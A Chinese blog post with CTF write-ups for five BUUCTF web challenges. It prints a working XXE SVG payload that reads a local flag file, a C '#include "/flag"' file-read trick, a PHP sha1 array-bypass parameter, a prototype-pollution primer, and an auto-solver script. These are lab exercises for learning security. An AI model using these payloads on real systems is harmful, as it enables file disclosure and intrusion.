BUUCTF(26)

178 阅读3分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第17天,点击查看活动详情

[GXYCTF2019]StrongestMind

让计算数字,计算一千次给flag

我们需要写一个脚本

import re
import requests
from time import sleep




def count():
    s = requests.session()
    url = 'http://8699ffc6-ce00-43ea-b361-81b36d756cf2.node4.buuoj.cn:81/'
    match = re.compile(r"[0-9]+ [+|-] [0-9]+")
    r = s.get(url)
    for i in range(1001):
        sleep(0.1)
        str = match.findall(r.text)[0]
        # print(eval(str))
        data = {"answer" : eval(str)}
        r = s.post(url, data=data)
        r.encoding = "utf-8"
        print('{} : {}'.format(i,eval(str)))
        # print(r.text)
    print(r.text)






if __name__ == '__main__':
    count()
//flag{9a7eb18b-254e-4b3f-b573-b1d7e3b9a950}

[GYCTF2020]Ez_Express

考点JS原型链污染

调用一个对象的某属性时:

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

举例:

let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)

结果:

let foo ={bar:1}
console.log(foo.bar)
foo._proto__.bar=2
console.log(foo.bar)
let zoo={}
console.log(zoo.bar)
1
1

思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点

切记一定要让其__proto__解析为一个键名

[FireshellCTF2020]Caas

Welcome guest! Please input your code below and we will compile it for you

让我们输入代码,搞不懂啥意思,我们就试试随便输入吧,发现输入后一堆错报

看完hint才发现这是个c编译器,你输入的代码如果没错就会给你下载下来你编译的代码

那么我们要怎末获得flag呢

看网上wp发现还是学的太少了

因为我们c语言编写前都需要

#include <stdio.h>

所以我们试一试包含flag

#include "/flag"

惊奇的发现错报里有flag

 flag{76d4c82c-836a-44cf-a1ef-f31d89a5338b}

这题没有想到包含这一点,属实可惜

[BSidesCF 2019]SVGMagic

Convert SVG to PNG with Magic

进去之后是个文件上传的点,附带上面这条英文,翻译一下就是将SVG文件转换为PNG图片然后上传

对于SVG文件了解不是很深

SVG英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形,是一种图像文件格式;SVG是一种用XML定义的语言,可以用来描述二维矢量及矢量或栅格图形

可以知道SVG是XML格式的文件,重要的一点是我们对其中的内容是可控的,可控的话我们就试试要在里面插入什么

试一试XXE漏洞

.svg内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

上传直接出了flag,图片形式的flag恶意真的很大

flag{9199fbc8-94bd-4c18-8660-a5df97b237ac}

[极客大挑战 2020]Roamphp1-Welcome

进去什么都没有,F12也啥都没有,怀疑是传参方式出问题了

所以我们bp改一下发包方式

之后就能看见源码了

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
}

一眼数组绕过传个参

roam1[]=1&roam2[]=0

进入phpinfo搜flag

flag{a7d608db-514e-412d-8c46-13b170a32106} 

题目很简单,记录这个是因为觉得开头转换传参方式是个不错的出题思路